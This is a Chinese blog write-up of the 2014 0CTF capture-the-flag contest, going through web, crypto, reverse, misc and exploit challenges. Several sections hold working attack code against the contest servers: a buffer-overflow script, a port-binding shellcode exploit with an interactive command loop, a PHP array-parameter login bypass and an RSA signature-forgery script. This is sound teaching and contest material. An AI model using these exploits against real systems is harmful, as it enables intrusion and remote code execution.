『第一届0ops信息安全技术挑战赛，即0ops Capture The Flag，以下简称0CTF。 0CTF由上海交通大学网络信息中心和上海市信息安全行业协会指导，由上海交通大学信息网络安全协会承办，是2014信息安全技能竞赛校园赛首站。0CTF注册与参赛地址为http://ctf.0ops.net。 比赛时间为北京时间2014年3月1日至2日，每天7时至23时，共32小时。』
看官方微博，这个比赛本来是面向上交校内的，就是校外可以做题但是不发奖，后来也给校外发奖了，整体感觉还不错，好多大牛过来刷题了，没有挤进前六名去……不过当做BCTF的一次练手吧，平时都在实验室打酱油，做个比赛还是可以学到不少东西的。写个Blog记录一下过程，题目只做简单描述，具体可以看官方页面http://ctf.0ops.net，要登录才能看到题目，不知道现在还能否注册。
0×01 [Web]Spy
[题]简单的Web题目，总共四关，每一关都要输入数字，并保证输入的数字比服务器给的大。
1. text框最多输入3位数字，服务器随机返回4位数字，这个审查元素改一下maxlength属性就好了；
2. text框最多输入3位数字，服务器随机返回数字，这个改maxlength属性不然过，但是发现服务器偶尔会返回三位数字，这样的话一直提交999，总会过的；
3. 看谁出的数的倒数比较小谁就算赢！输入-1直接过了；
4. 每人给出一个数，然后比谁的数的EVIL值大。啥是EVIL值？就是该数字每位ASCII码的乘积呗，比如’123′这个数，三位数字的ASCII码分别是49, 50, 51乘起来是124950，这个就是123这个数的EVIL值。这个题最多输入6位，服务器的EVIL值很大，不过输入0xFFFF就过了；
0×02 [Crypto]Classic
[题]小丁丁发现自己置身于一个诡异的房间，面前只有一扇刻着奇怪字符的门。 他发现门边上还有一道密码锁，似乎要输入密码才能开门。。4esxcft5 rdcvgt 6tfc78uhg 098ukmnb
[解]这个比较诡异……通过键盘布局解密：0ops
通过键盘布局解密
0×03 [Misc]IPv4
[题]截止到2014.2.23，亚太互联网络信息中心分配给中国大陆的IPv4地址是多少个？
[解]下载文件http://ftp.apnic.net/stats/apnic/2014/delegated-apnic-20140223.gz进行统计分析。文件格式为：
apnic|CN|ipv4|1.2.2.0|256|20110331|assigned
等级机构|获得该IP段的国家/组织|资源类型|起始IP|IP段长度|分配日期|分配状态
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我用Python解析的，读入每行数据split一下就好了，得到330393088。
0×04 [Exploit]Welcome
[题]在服务器202.120.7.6:32323上运行了一个程序，溢出拿KEY。
[解]IDA分析程序，B函数可以溢出：
char *__cdecl B()
{char *result; // eax@1char s; // [sp+1Ch] [bp-40Ch]@1int v2; // [sp+20h] [bp-408h]@1__int16 v3; // [sp+24h] [bp-404h]@1char v4; // [sp+26h] [bp-402h]@1int v5; // [sp+41Ch] [bp-Ch]@1v5 = 0;memset(&s, 0, 1016u);puts("Welcome to 0ops CTF.");fflush(stdout);gets(&s);result = &s;*(_DWORD *)&s = *(_DWORD *)"HelloKitty";v2 = *(_DWORD *)&aHellokitty[4]; // ov3 = *(_WORD *)&aHellokitty[8]; // tv4 = aHellokitty[10]; // \0if ( v5 ) // 覆盖到v5即可// 1016+4+2+1=1023 多覆盖一个byte即可{fd = (int)fopen("./flag.txt", "r");__isoc99_fscanf(fd, "%s\n", &s);puts(&s);result = (char *)fflush(stdout);}return result;
}
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开始忘了加\n，郁闷了好久……
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(('202.120.7.6', 32323))print sock.recv(1024)sock.send('a'*1025+'\n') # 一定要有\nprint "send done"print sock.recv(2048)sock.close()
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0×05 [Web]System
[题]小丁丁在无意中发现了一个对方的内部登陆系统，可惜他不知道用户名和密码，该怎么办呢？
[解]简单的SQL注入，用户名输入下面的代码即可：
0×06 [Crypto]Dict
[题]小丁丁一直潜伏在邪恶黑客组织的总部大楼附近。他知道邪恶黑客组织的内部密码Hash方式是咸的（Salted），但是 没有正确的通行口令他无法潜入。他每天都在仔细分析这栋大楼的办公室垃圾，想要从中找到一些线索。这一次，他捡到了某个员工的备忘小便签：
WORD is a common english word
len(WORD) = 4
md5(WORD + '0ops!^_^') = 'e79dc003a53edc551c5ef8364e97b2e2'
HASH = md5(WORD)
FLAG = 0ops{HASH}
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[解]四个字母组成的英语单词，这个直接枚举并比较MD5值就行了，很快就找到了单词join。
0×07 [Crypto]JohnCode
[题]小丁丁伪装成内部员工潜入了邪恶黑客组织，在群邮件中，他得知他们正在开发一套新的加密算法JohnCode。小丁丁看到了群共享的源代码，陷入了深深的沉思。 你能帮他破解这个囧呆马吗？
eaxRa8RO8gyXLs/5lZO2jUk32bGGN9DoA5hi1MBswPnWw28pk2f=
JohnCode加密算法源代码：
import hashlibdef johncode(msg, key):token = hashlib.md5(key).digest()res = ""password = "0ops Capture The Flag"for c in msg:n = ord(c) ^ 0xde ^ 0xad ^ 0xbe ^ 0xeffor i in xrange(16) :n ^= ord(password[i]) ^ ord(token[i])res += chr(n)token = hashlib.md5(chr(n)).digest()return res.encode('base64').encode('rot13')
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[解]这个可以直接逆推的，因为每一轮的token都是上一轮的字符的MD5值。不过因为不知道key，所以第一位没法解出来，但是题目说了FLAG的格式，所以第一位是0，解密的代码如下：
import hashlibdef getConstXor():return 0xde ^ 0xad ^ 0xbe ^ 0xefdef getPwdXor():password = "0ops Capture The Flag"res = 0for i in xrange(16):res ^= ord(password[i])return resdef getMd5Xor(val):token = hashlib.md5(val).digest()res = 0for i in xrange(16):res ^= ord(token[i])return resif __name__ == "__main__":ctftext = "eaxRa8RO8gyXLs/5lZO2jUk32bGGN9DoA5hi1MBswPnWw28pk2f="ciphertext = ctftext.decode("rot13").decode("base64")ctlen = len(ciphertext)constXor = getConstXor()pwdXor = getPwdXor()i = ctlen - 1msg = ""while i >= 1:tokenXor = getMd5Xor(ciphertext[i-1])msg = msg + chr(ord(ciphertext[i]) ^ tokenXor ^ pwdXor ^ constXor)i = i - 1# msg = }4660b46c5eb87b6e4b618a2804b40ee4{spomsg = msg[::-1]# msg = ops{4ee04b4082a816b4e6b78be5c64b0664}# 答案是 0ops{4ee04b4082a816b4e6b78be5c64b0664}
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0×08 [Reverse]Waltz
[题]APK逆向分析：http://ctf.0ops.net/attachment/download/EndlessWaltz.zip
[解]解压APK得到classes.dex，然后使用dex2jar得到jar文件，然后使用JD-GUI就可以看Java代码了，就是几个字符串替换和BASE64加解密。
0×09 [Misc]FakeUser
[题]小丁丁有隔天备份ctf.0ops.net数据库的习惯，就在比赛开始前一天，小丁丁突然发现备份似乎被人修改了，似乎额外增加了几个账户。可是小丁丁已经不记得有哪些账户了，这可怎么办？
注意：此题的FLAG是取 所有虚假账户的ID之和，求MD5，再拼上0ops{…} 即0ops{md5(sum of IDs of fake users)}
[解]将SQL文件导入数据库，提示换行符不一致！所有换行符为\r\n的都是假的账户。
0x0A [Exploit]Login
[题]溢出服务器上的一个程序，位于202.120.7.110:55632
[解]getpath函数中，gets可以溢出，最后调用了strdup，这个函数会分配一段空间保存输入的内容，把返回地址覆盖为call eax的地址，那么返回的时候就会执行shellcode了。
char *__cdecl getpath()
{char s; // [sp+8h] [bp-25Ch]@1 [604]void *v2; // [sp+260h] [bp-4h]@1unsigned int v3; // [sp+268h] [bp+4h]@1printf("Input Name Please: ");fflush(stdout);gets(&s); // 获取输入v2 = (void *)v3; // v3 == 608if ( (v3 & 0xB0000000) == 0xB0000000 )// 覆盖返回地址, 返回地址存入v3{printf("HEHE (%p)\n", v2);_exit(1);}printf("Got Name %s\n", &s);return strdup(&s); // 分配空间复制字符串, 返回值指向复制的字符串
}
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call eax可以随便找一个：
.text:08048A4B call eax ; __CTOR_LIST__
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不过我找了好多Shellcode都不管用……最后找了个开端口的，执行之后nc连接，cat flag.txt即可。
def testServer():# http://www.shell-storm.org/shellcode/files/shellcode-370.php# port : 5074shellcode = ("\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff"+"\xff\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04" +"\x47\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xedDBMAFAEAIJMD" +"FAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAFBFAIJOBLAGGMN" +"IAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIAJDIJNBLADPMNIAEB" +"IAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJOBLAALMNIA")sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#sock.connect(('192.168.218.129', 55632))sock.connect(('202.120.7.110', 55632))print sock.recv(1024)#sock.send('A'*608+'\xB0'*4+'\n')sock.send(shellcode + '\x90'*(608-len(shellcode))+'\x4B\x8A\x04\x08'+'\n')print "send done"print sock.recv(2048)print sock.recv(2048)while True:acmd = raw_input("CMD> ")sock.send(acmd)sock.send(acmd)print sock.recv(2048)time.sleep(0.1)
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0x0B [Reverse]HackGate
[题]给定一个setup.exe，求KEY。
[解]setup.exe，是个安装包，要求输入密码才能安装。开始直接调试这个程序，发现根本断不下来，发现创建了子进程，于是调试子进程，发现用了MD5、SHA以及CRC32算法，后来差一下发现是个Inno Setup的安装包，然后我还找到了能够绕过密码直接提取文件的程序（当然找了好几个才发现一个叫做InnoExtractor的程序），于是直接把里面的EXE抠出来了，是g++编译的，我电脑装了还跑不起来，可能DLL版本不对。直接托IDA看字符串就找到KEY了……当然要稍微变换一下，key是0ops{EL_PSY_CONGROO}。其实找到的字符串是LE_PSY_CONGROO，我用Google搜的时候，提示我是EL_PSY_CONGROO。
El Psy Congroo在动画《命运石之门》播出之后才火起来的。
冈部伦太郎使用了很久用意义不明的话，能够自我暗示，使自己镇静下来。
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不过有时候做这种题，没加密的话很容易偷懒的……（我这样会被鄙视吗？）
0x0C [Web]Signal
[题]绕过网站登陆。
[解]给提示了，这题和数据没关系，和PHP的一些检查方式有关系……审查元素，修改password字段名字（在name字段的值后面加上数组符[]），输入任意密码提交：
<form class="form-signin" action="login_ok.php" method="post"><h2 class="form-signin-heading">Please sign in</h2><input type="text" class="input-block-level" name="id" value="159.226.43.61" readonly=""><input type="password" class="input-block-level" name="ps[]" placeholder="Password"><label class="checkbox"><input type="checkbox" value="remember-me"> Remember me</label><button class="btn btn-large btn-primary" type="submit">Sign in</button>
</form>
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0x0D [Crypto]RSASign
[题]小丁丁继续在邪恶组织总部探索。他发现组织内部有一个专用的身份签名系统。只要能拿到最高权限的账户签名，他就可以得到最高权限啦！幸运的是，小丁丁又一次拿到了它的源码。
[解]考察数论相关的知识了。
同余形式：若a % N = A 且 b % N = B，那么有(ab) % N = (AB) % N；
同理对于RSA有：若a^d % N = A 且 b^d % N = B，那么有[(a^d)*(b^d)] % N = (AB) % N；
现在服务器能够返回给定任意数据a，返回a^d % N的值A，如果能拿到0ops（假设转化为数值之和为c）的返回值：c^d % N = C，即拿到C的值就可以拿到KEY了。
a^d % N = A
b^d % N = B
c^d % N = C
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分解c，假设c = a*b，那么有(A*B)≡C mod N，计算一下，c刚好能够分解，那么我们就可以从服务器拿回A和B了，如果知道了N，就可以拿到C了。不过对于这个题，拿到AB就已经够了，因为RSA签名验证就是(A*B)^e % N。不过N还是可以求出来的，大神提供的思路如下：
2^d % N = A
4^d % N = B 即 (2*2)^d % N = B
8^d % N = C 即 (2*2*2)^d % N = C
有M = GCD(A*A-B, A*A*A-C)
注意这里求出的M可能是kN，也就是是N的倍数，如果运气好就是N了，不然要多找几次。
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下面是解题代码，会求出N。
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import time
import socket
import stringdef int2str(n):charset = string.digits + string.lettersp = len(charset) + 1s = ""while n:s = s + charset[n%p-1]n /= preturn s[::-1]def str2int(s):"""map'0' => 1'1' => 2...'9' => 10'a' => 11...'z' => 36'A' => 37...'Z' => 62"""charset = string.digits + string.lettersp = len(charset) + 1r = 0for c in s :r = r * p + charset.index(c) + 1return rdef getFactor():ops = str2int('0ops')a = b = 0for i in range(2, ops):if ops % i == 0:a, b = i, ops/iprint "%d * %d = %d" % (a, b, ops)breaksa = int2str(a)sb = int2str(b)print "%d --> %s" % (a, sa)print "%d --> %s" % (b, sb)return sa, sbdef getAuthKey(s):sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(('202.120.7.5', 38241))sock.recv(2048)time.sleep(0.5)sock.recv(2048)sock.send('1\n') # registersock.recv(2048)time.sleep(0.1)sock.send(s + '\n')sock.recv(2048)authKey = sock.recv(2048)sock.close()print "Username: %s" % sprint authKeyreturn authKey.strip()def getGCD(a, b):if a < b:a, b = b, awhile b != 0:tmp = a % ba = bb = tmpreturn adef getN():userlist = [2, 4, 8]keylist = []for user in userlist:keylist.append(int(getAuthKey(int2str(user))))diff = []diff.append(pow(keylist[0], 2) - keylist[1])diff.append(pow(keylist[0], 3) - keylist[2])return getGCD(diff[0], diff[1])def getFlag(authKey):sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(('202.120.7.5', 38241))sock.recv(2048)time.sleep(0.5)sock.recv(2048)sock.send('2\n') # login sock.recv(2048)time.sleep(0.1)sock.send('0ops\n') # usernamesock.recv(2048)time.sleep(0.1)sock.send(str(authKey) + '\n') # authKeyprint sock.recv(2048)print sock.recv(2048)sock.close()if __name__ == "__main__":sa, sb = getFactor()ka = getAuthKey(sa)kb = getAuthKey(sb)kab = int(ka) * int(kb)print "authKey[%s] * authKey[%s] = \n%d\n" % (sa, sb, kab)n = getN()print "N = \n%d\n" % nflagKey = kab % nprint "authKey[0ops] = \n%d\n" % flagKeygetFlag(flagKey)raw_input("<Enter>")"""
163 * 2153 = 350939
163 --> 1A
2153 --> xa
Username: 1A
21533328170418378084667829333241475137237189840136413341659043482256097510873406
80778085936300557220305925866245746162556818225595325428891118543277776000224693
94153804439920506389342914152518686076142925020261268165134548156640326678913058
32183740222011549816792593422992831392821041521696985409510603614521305240365730
69993107868111616188102944903092890088304093759066757333321808861343015436285431
83423748039157813181828728529338570079483125070881458603012233228629889625998610
77837188029428966569684473488137929071603810228867022108243630344706359935318974
659363579802989602917857042437294261061356335491933174051Username: xa
25488744768722406399022993210073505421411878358623824552700157019662731668788913
29696762464701716291111290751757383920248775850436486970351641724147165259120289
88289621607449227239688925130507701532735104032594188602562364841462980159493017
96811103500139479056818978083991583831585928689088971640016014467405404108823622
37555222332241091523009935298355178015132729923435885189369662045864007701562485
91622365205822004617452169129111881126526480558419450732992640082382159767752794
22962647696103667805075981389049729228576300327608699296783543259431738187799821
731862053896502779740294350970620551593589183858097468202authKey[1A] * authKey[xa] =
54885750575693426083919531510934514350135708923403345930121911623724478234602268
27979542454055898817768822046755196649628234154462632065635709315217301905443578
15053213360938990523525651515977264898624869669693382733171731889768054632085639
40081552196281561143501153944763925013800347447018887135453722798415734016750151
92184836862276059791184086691283031159039851810771777962934768576429259231364133
41834110889564427268927559492552852974023169921476230425928104005016422929418070
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86840898999244645854695909576241621143659347688557261209638462191011865971149242
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06584017724632422879044239426508028014318144849268674008N =
29610211050329808378232545552699749436594480437122054986865680099884890513872850
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Flag is: 0ops{03e2bca28698ca3b2b8b50c594ae4e89}"""
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0x0E [Misc]Game
[题]小丁丁找到邪恶组织的人想要和他们在安全技术上一较高下，然而却被告知你太嫩了，我们先不玩别的先来盘游戏吧，如果赢了我，再来谈技术的问题也不迟啊哈哈哈哈哈。
[解]这个是个取石子游戏，大家应该见过，OJ上面也会常见，虽然我连这个也不会，不过搜一下还是有很多解决方案的。服务器会返回N堆石子给你，你要最后面拿光所有的石子，你就赢了这一个round。
也就是Nimm Game，有k堆石子，两个人轮流从某一堆取任意多的物品，规定每次至少取一个，多者不限。取走最后石子的人获胜。
引入一个概念，平衡状态，又称作奇异局势。当面对这个局势时则会失败。任意非平衡态经过一次操作可以变为平衡态。
每个玩家都会努力使自己抓完石子之后的局势为平衡，将这个平衡局势留给对方。因此，玩家A能够在初始为非平衡的
游戏中取胜，玩家B能够在初始为平衡的游戏中取胜。最后一个奇异局势是(0,0...,0)。另一个奇异局势是(n,n,0...0)，只要对手总是和我拿走一样多的物品，最后会面对
(0,0...,0)。奇异局势的判定：对于一个普通的局势，如何判断其是不是奇异局势？对于一个局势(s1,s2,...sk)，对所有石子个数做位的异或运
算，s1^s2^s3^...^sk，如果结果为0，那么局势(s1,s2,...sk)就是奇异局势（平衡），否则就不是（非平衡）。从二进制位的角度上说，奇异局势时，每一个bit位上1的个数都是偶数。玩家的策略：就是把面对的非奇异局势变为奇异局势留给对方。也就是从某一堆取出若干石子之后，使得每一个bit位上1的个数
都变为偶数，这样的取法一般不只有一种。可以将其中一堆的石子数变为其他堆石子数的位异或运算的值（如果这个值
比原来的石子数小的话）。参见：http://blog.csdn.net/ojshilu/article/details/16812173
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照着这个思路写了个脚本，但是比较蛋疼的是服务器每次只从一堆石头中取出一个，这样我也只能取出1个，而这样下来就严重拖慢了速度，而服务器最初设置了100个round，我跑了1个多小时才跑完50个round，然后管理员认为100轮太多了，就把服务器端了调整为50轮，于是我又跑了1个小时左右，中午吃完饭回来就返回了key了。
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#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import sysdef parseInput(s):idx = s.find("I pick") # 过滤无关数据if idx != -1:s = s[idx:]idx = s.find("There are totally") # 过滤无关数据if idx != -1:s = s[idx:]lines = s.split('\n')res = []for l in lines:l = l.strip()data = l.split(': ')if len(data) == 2 and data[0].find("Pile") != -1:res.append(int(data[1]))return resdef pickStone(s):l = len(s)maxCount = 0idx = 0for i in range(0, l):tmp = 0for j in range(0, l):if j == i:continuetmp = tmp ^ s[j]if tmp < s[i]:if maxCount < s[i]-tmp:maxCount = s[i]-tmpidx = ireturn (idx, maxCount)if __name__ == "__main__":#redirectOutput()sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(('202.120.7.108', 17733))print sock.recv(4096)while True:data = sock.recv(4096)print dataarr = parseInput(data)print arridx, count = pickStone(arr)sock.send("%d\n" % idx)print "%d" % idxdata = sock.recv(4096)print datasock.send("%d\n" % count)print "%d" % countprint sock.recv(4096)
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0x0F [Misc]Girl
[题]图片隐写术
0CTF Misc Girl 图片隐写术
[解]图片无限放大之后会发现右上角有四个小点，这里面隐藏了信息，当然这里全是一堆红色，看起来相当的晃眼！！这里面的像素点存在色差，我们需要对其进行二值化处理。下图是截取的一个图，我给四个小点画了个圈，只是为了方便各位看官辨别。
图片隐写术
大家可以把原图下载下来放大之后，在信息隐藏区域取色就能看到色差（比如QQ截图工具就有取色功能）
正常的背景色RGB是(235,1,2)，四个边界点的RGB是(225,0,0)，鼠标在区域内移动的时候，有两个RGB值，分别是(235,1,2), (236,1,2)，看到了没，(235,1,2)就是背景色的RGB值。
刚开始以为这个是二维码，就把背景色设置为白色(255,255,255)，把四个边界点的颜色设置为蓝色(0,0,255)，把二维码中的颜色设置为黑色(0,0,0)，以为差不多就OK了，谁知道这货不是二维码，是二进制信息。
其实不是二维码
隐藏信息的区域我画了个圈，从图中可以看出，如果白色代表0，黑色代表1，我们转成二进制得到0×30和0x6F，这就是0和o，也就是Flag的前缀0ops了，完善一下代码就有key了。
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#!/usr/bin/env python
# -*- coding:utf-8 -*-
import string
from PIL import Image"""
# It's not QR code :)
def showQRCode(fpath):bmp = Image.open(fpath)pix = bmp.load()w, h = bmp.sizefor x in xrange(0, w):for y in xrange(0, h):if pix[x, y] == (235,1,2):pix[x, y] = (255,255,255)elif pix[x, y] == (225,0,0):pix[x, y] = (0, 0, 255)elif pix[x, y] == (236, 1, 2):pix[x, y] = (0, 0, 0)else:pix[x, y] = (255, 255, 255)bmp.save(fpath)
"""def getFlagHex(fpath):bmp = Image.open(fpath)pix = bmp.load()w, h = bmp.sizec = []for y in xrange(0, h):for x in xrange(0, w):if pix[x, y] == (225,0,0):c.append((x, y))flag = ""for y in xrange(c[0][1]+1, c[2][1]):x = c[0][0] + 1for i in xrange(0, 4):ch = 0for j in xrange(0, 4):tmp = 0if pix[x+i*4+j, y] == (236, 1, 2):tmp = 1ch = (ch<<1) + tmpflag = flag + ("%x" % ch)bmp.save(fpath)return flagdef getFlag(flagHex):flag = ""tmp = 0for i in xrange(0, len(flagHex)):val = string.hexdigits.index(flagHex[i])if i&1:flag = flag + chr(tmp*16 + val)tmp = 0else:tmp = valreturn flagif __name__ == "__main__":flagHex = getFlagHex("girl.bmp")flag = getFlag(flagHex)raw_input(flag)
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输出flag为：0ops{Never_giving_up!Fighting!!}
0×10 [Exploit]WebServer
[题]在服务器202.120.7.111:44774上运行了一个程序，提供奇怪的web服务，能处理你的HTTP请求。看看这个web服务里有没有什么非同寻常的秘密？注意：没有NX以及aslr。提供libc.so.6文件下载。
[解]这个是GOT表覆盖与printf格式化写任意内存漏洞，exploit-exercises上面的format最后一题和这个类似，不过只怪我当时候没有认真做题，这个题就没交了……囧rz，这个题有空再补上吧。
0×11 Rank List
这次的马甲是“栈溢出了”，排第八，被前排的大神挤下来了。我平时一般用另一个马甲，叫Wins0n
0CTF Scoreboard 校外
本文地址: 程序人生 >> 0ops CTF/0CTF writeup
作者：代码疯子（Wins0n） 本站内容如无声明均属原创，转载请保留作者信息与原文链接，谢谢！
